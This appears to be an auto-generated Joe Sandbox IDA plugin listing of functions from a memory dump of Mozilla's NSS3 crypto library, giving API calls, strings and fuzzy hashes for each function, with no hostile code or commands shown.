Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Error$AlgorithmPolicy
String ID:
API String ID: 644051021-0
Opcode ID: f1227a5340a1ff4c24a7e1281a7ae0b37e291eeb8d90c9de2f6b2bfa74b03a1f
Instruction ID: d8367024c49c027f97be3242e3af790cb7617b8d4092df3488f4fbbd9bd61510
Opcode Fuzzy Hash: f1227a5340a1ff4c24a7e1281a7ae0b37e291eeb8d90c9de2f6b2bfa74b03a1f
Instruction Fuzzy Hash: C79148B2E08A869BEB10DB6DDC517983670AF8233CF164B1AD252EBED1F321B545C351

Function 6CCC0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CCC2C2A), ref: 6CCC0C81

Part of subcall function 6CCABE30: SECOID_FindOID_Util.NSS3(6CC6311B,00000000,?,6CC6311B,?), ref: 6CCABE44

Part of subcall function 6CC98500: SECOID_GetAlgorithmTag_Util.NSS3(6CC995DC,00000000,00000000,00000000,?,6CC995DC,00000000,00000000,?,6CC77F4A,00000000,?,00000000,00000000), ref: 6CC98517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCC0CC4

Part of subcall function 6CCAFAB0: free.MOZGLUE(?,-00000001,?,?,6CC4F673,00000000,00000000), ref: 6CCAFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CCC0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CCC0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CCC0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CCC0D7D
free.MOZGLUE(00000000), ref: 6CCC0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCC0DC1
free.MOZGLUE(00000000), ref: 6CCC0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCC0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CCC0E0F

Part of subcall function 6CC995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC77F4A,00000000,?,00000000,00000000), ref: 6CC995E0
Part of subcall function 6CC995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC77F4A,00000000,?,00000000,00000000), ref: 6CC995F5
Part of subcall function 6CC995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC99609
Part of subcall function 6CC995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC9961D
Part of subcall function 6CC995C0: PK11_GetInternalSlot.NSS3 ref: 6CC9970B
Part of subcall function 6CC995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC99756
Part of subcall function 6CC995C0: PK11_GetIVLength.NSS3(?), ref: 6CC99767
Part of subcall function 6CC995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC9977E
Part of subcall function 6CC995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC9978E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 1f594de08d714d192504f57d7c8b2d3f329b6e6ab322e3c19bfacbb39438cf9d
Instruction ID: 988ea5ac8a1f319a05e47d098703717a31e6dd5d82ce030afb7529bf58a2a5ef
Opcode Fuzzy Hash: 1f594de08d714d192504f57d7c8b2d3f329b6e6ab322e3c19bfacbb39438cf9d
Instruction Fuzzy Hash: E941B0F1E01246ABEB009F65EC85BAF7A74AF0031CF104068E91567741F735EA54CBE2

Function 6CC54FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CDA0148,?,6CC66FEC), ref: 6CC5502A
PR_NewLock.NSS3(00000001,00000000,6CDA0148,?,6CC66FEC), ref: 6CC55034
PL_NewHashTable.NSS3(00000000,6CCAFE80,6CCAFD30,6CCFC350,00000000,00000000,00000001,00000000,6CDA0148,?,6CC66FEC), ref: 6CC55055
PL_NewHashTable.NSS3(00000000,6CCAFE80,6CCAFD30,6CCFC350,00000000,00000000,?,00000001,00000000,6CDA0148,?,6CC66FEC), ref: 6CC5506D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 34532a10e58336f151d0831f3c90a6949857b82c96ffde85aa119f55881bba0f
Instruction ID: f7f7c6a9e67c6c46ec21fcf11b9e2166dfcd6457c5133ebb252c38c017d78942
Opcode Fuzzy Hash: 34532a10e58336f151d0831f3c90a6949857b82c96ffde85aa119f55881bba0f
Instruction Fuzzy Hash: F831A0F2B01210DBFE109B65984CB5B3ABCEB5239CF41452AEB0997640F3759425CBE9

Function 6CBF2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBF2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CBF2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CBF3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CBF30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBF3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBF3178

Strings

database corruption, xrefs: 6CBF316C
%s at line %d of [%.10s], xrefs: 6CBF3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBF3022, 6CBF3156, 6CBF3162, 6CBF318A, 6CBF3196, 6CBF31A2, 6CBF31AE, 6CBF31BA, 6CBF31C6

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: bfa1650cfbc955256bfc10a2744dfb910b5b415e3145c3e1fecf96ba4739517b
Instruction ID: 006fa71948fb459964850a5682786e40ee093549ad9d3275c9ffb2ce7d9615e3
Opcode Fuzzy Hash: bfa1650cfbc955256bfc10a2744dfb910b5b415e3145c3e1fecf96ba4739517b
Instruction Fuzzy Hash: 46B1D270E052599BDB08CF9DC884AFEB7B1FF48304F14402AE815B7B41D774998ACBA2

Function 6CC86C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CC86C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC86C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC86CA3

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC86CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC86CD5

Strings

pMechanism = 0x%p, xrefs: 6CC86CD0
(CK_INVALID_HANDLE), xrefs: 6CC86C9C
C_DigestInit, xrefs: 6CC86C61
hSession = 0x%x, xrefs: 6CC86C7E, 6CC86C8E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 35efb1e9b4879f28c54be3de94941f479e9a14424d69f62713cbe5bc914ef9ef
Instruction ID: 550e37f23815a957d7f710c877139aa89ee2ea37af19a0b62e4e61228c0e3a67
Opcode Fuzzy Hash: 35efb1e9b4879f28c54be3de94941f479e9a14424d69f62713cbe5bc914ef9ef
Instruction Fuzzy Hash: 6D210BB1A02514EFF700DB15DD48B5F3BB9EB4235CF444026D6099BB51EB30990CC7A5

Function 6CC50F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC50F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC50F84

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CC6F59B,6CD7890C,?), ref: 6CC50FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CC50FC1

Part of subcall function 6CCB0BE0: malloc.MOZGLUE(6CCA8D2D,?,00000000,?), ref: 6CCB0BF8
Part of subcall function 6CCB0BE0: TlsGetValue.KERNEL32(6CCA8D2D,?,00000000,?), ref: 6CCB0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CC50FDB
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC50FEF
PL_FreeArenaPool.NSS3(?), ref: 6CC51001
PL_FinishArenaPool.NSS3(?), ref: 6CC51009

Strings

security, xrefs: 6CC50F5C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 5aac448053496bf8b643f577e9799ecb8fb995a3a9bb097bbb2b080299bc1a12
Instruction ID: 598fd666cc9f24970f754ed9a7b37923d11187be716957be34c6cd9469d04e34
Opcode Fuzzy Hash: 5aac448053496bf8b643f577e9799ecb8fb995a3a9bb097bbb2b080299bc1a12
Instruction Fuzzy Hash: 1A2106B1904204ABE7109F65DC80AAAB7B4EF4525CF048519FC18A6A11F731D56ACBE2

Function 6CD62AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD62AE8
strdup.MOZGLUE(00000000), ref: 6CD62AFA
PR_ExitMonitor.NSS3 ref: 6CD62B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6CD62B1E
strdup.MOZGLUE(.;\lib), ref: 6CD62B32
PR_ExitMonitor.NSS3 ref: 6CD62B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD62B59

Strings

LD_LIBRARY_PATH, xrefs: 6CD62B19
.;\lib, xrefs: 6CD62B29, 6CD62B31

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: e8903463cc5c54cfa16892664a623bbd2b9654f095fefd356c65efc5e1da179e
Instruction ID: f47146cb04ceb20119df30ab03783277cff4f3a29dd2d69a59b3908307128804
Opcode Fuzzy Hash: e8903463cc5c54cfa16892664a623bbd2b9654f095fefd356c65efc5e1da179e
Instruction Fuzzy Hash: B101ACF5F04112D7FF106F76AC4675A377C9B1125CF044134D90591E21F722D828C696

Function 6CCEAB00 Relevance: 15.3, APIs: 10, Instructions: 293memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCEA6D0: PORT_ZAlloc_Util.NSS3(00000A38,00000000,?,6CCE80C1), ref: 6CCEA6F9
Part of subcall function 6CCEA6D0: memcpy.VCRUNTIME140(00000210,6CDB0BEC,0000011C), ref: 6CCEA869

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,?,6CCE80AD), ref: 6CCEAB48

Part of subcall function 6CCAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCA8D2D,?,00000000,?), ref: 6CCAFB85
Part of subcall function 6CCAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCAFBB1

PORT_Strdup_Util.NSS3(?,?,?,?,?,6CCE80AD), ref: 6CCEAB8E
PORT_Strdup_Util.NSS3(?,?,?,?,?,6CCE80AD), ref: 6CCEABA7
memcpy.VCRUNTIME140(?,00000210,0000011C,?,?,?,?,6CCE80AD), ref: 6CCEABFE
memcpy.VCRUNTIME140(?,000006AA,?,?,?,?,?,?,?,?,6CCE80AD), ref: 6CCEAC1C
memcpy.VCRUNTIME140(?,000006C0,?,?,?,?,?,?,?,?,?,?,?,6CCE80AD), ref: 6CCEAC48

Part of subcall function 6CCE5BC0: PR_EnterMonitor.NSS3(8B105D8B,?,?,6CCE80E3,00000000), ref: 6CCE5BD6
Part of subcall function 6CCE5BC0: PR_EnterMonitor.NSS3(840FC085,?,?,6CCE80E3,00000000), ref: 6CCE5BED
Part of subcall function 6CCE5BC0: PR_EnterMonitor.NSS3(07890478,?,?,6CCE80E3,00000000), ref: 6CCE5C04
Part of subcall function 6CCE5BC0: PR_EnterMonitor.NSS3(000000F4,?,?,6CCE80E3,00000000), ref: 6CCE5C1B
Part of subcall function 6CCE5BC0: PR_Unlock.NSS3(0140BCE8,?,?,6CCE80E3,00000000), ref: 6CCE5C4C
Part of subcall function 6CCE5BC0: PR_Unlock.NSS3(08C48300,?,?,6CCE80E3,00000000), ref: 6CCE5C5F
Part of subcall function 6CCE5BC0: PR_ExitMonitor.NSS3(8B105D8B,?,?,6CCE80E3,00000000), ref: 6CCE5C76
Part of subcall function 6CCE5BC0: PR_ExitMonitor.NSS3(840FC085,?,?,6CCE80E3,00000000), ref: 6CCE5C8D
Part of subcall function 6CCE5BC0: PR_ExitMonitor.NSS3(07890478,?,?,6CCE80E3,00000000), ref: 6CCE5CA4
Part of subcall function 6CCE5BC0: PR_ExitMonitor.NSS3(000000F4,?,?,6CCE80E3,00000000), ref: 6CCE5CBB

PORT_ZAlloc_Util.NSS3(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCE80AD), ref: 6CCEACED

Part of subcall function 6CCB0D30: calloc.MOZGLUE ref: 6CCB0D50
Part of subcall function 6CCB0D30: TlsGetValue.KERNEL32 ref: 6CCB0D6D

PORT_ZAlloc_Util.NSS3(0000001C,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCE80AD), ref: 6CCEAD52
SECKEY_CopyPrivateKey.NSS3(?), ref: 6CCEAEE5
SECKEY_CopyPublicKey.NSS3(?), ref: 6CCEAEFC

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$Util$memcpy$Alloc_EnterExit$Copy$Strdup_Unlock$ArenaItem_PrivatePublicValuecalloc
String ID:
API String ID: 3422837898-0
Opcode ID: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction ID: a8e28dbcb8d73d9e33294ee107dc9ae478d914dda1311f55a5e827897d9ef9c8
Opcode Fuzzy Hash: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction Fuzzy Hash: 4ED1D4B5A012028FDB44CF68C980BE5B7E5BB49314F1882B9DC1DDF746E734A994CBA1

Function 6CC56DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CC57D8F,6CC57D8F,?,?), ref: 6CC56DC8

Part of subcall function 6CCAFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CCAFE08
Part of subcall function 6CCAFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CCAFE1D
Part of subcall function 6CCAFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CCAFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CC57D8F,?,?), ref: 6CC56DD5

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD78FA0,00000000,?,?,?,?,6CC57D8F,?,?), ref: 6CC56DF7

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC56E35

Part of subcall function 6CCAFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CCAFE29
Part of subcall function 6CCAFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CCAFE3D
Part of subcall function 6CCAFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CCAFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC56E4C

Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD78FE0,00000000), ref: 6CC56E82

Part of subcall function 6CC56AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CC5B21D,00000000,00000000,6CC5B219,?,6CC56BFB,00000000,?,00000000,00000000,?,?,?,6CC5B21D), ref: 6CC56B01
Part of subcall function 6CC56AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CC56B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC56F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC56F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD78FE0,00000000), ref: 6CC56F6B
PR_SetError.NSS3(FFFFE005,00000000,6CC57D8F,?,?), ref: 6CC56FE1

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: c9b9d26b285db924a15e6855f2ed26962f1f3616e07f98d3173f0db758b87d89
Instruction ID: f3ba1da887fbfa9e22318dd64a4e275a031d2602af5f7c085ba27a892e175fb8
Opcode Fuzzy Hash: c9b9d26b285db924a15e6855f2ed26962f1f3616e07f98d3173f0db758b87d89
Instruction Fuzzy Hash: 46718F71E106469FEB00CF55CD40BAABBA4BF94308F554229E808DBB11F771EAB5CB94

Function 6CC90FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC91057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC91085
PK11_GetAllTokens.NSS3 ref: 6CC910B1
free.MOZGLUE(?), ref: 6CC91107
PR_SetError.NSS3(00000000,00000000), ref: 6CC91172
free.MOZGLUE(?), ref: 6CC91182
free.MOZGLUE(?), ref: 6CC911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC911C5

Part of subcall function 6CC952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CC6EAC5,00000001), ref: 6CC952DF
Part of subcall function 6CC952C0: EnterCriticalSection.KERNEL32(?), ref: 6CC952F3
Part of subcall function 6CC952C0: PR_Unlock.NSS3(?), ref: 6CC95358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC911F3

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 421c99412d9cd762db56c6941af97a17ef66559936d8a6b25e7b230048be38c5
Instruction ID: d446fe2878c7c67a938d2f9b5b07a9e4e4bbb473f94e6bcee08fd2023b9b19ba
Opcode Fuzzy Hash: 421c99412d9cd762db56c6941af97a17ef66559936d8a6b25e7b230048be38c5
Instruction Fuzzy Hash: B46193B0E003459FEB00DFA9D882BAEB7B9BF44348F144168E919AB741FB31D945CB61

Function 6CC94A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6CC94A4B
PK11_GetInternalSlot.NSS3 ref: 6CC94A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC94AC6
TlsGetValue.KERNEL32 ref: 6CC94B17
EnterCriticalSection.KERNEL32(?), ref: 6CC94B2B
PR_Unlock.NSS3(?), ref: 6CC94B77
PK11_FreeSymKey.NSS3(?), ref: 6CC94B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC94B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC94BA9
PR_SetError.NSS3(00000000,00000000), ref: 6CC94BC1

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
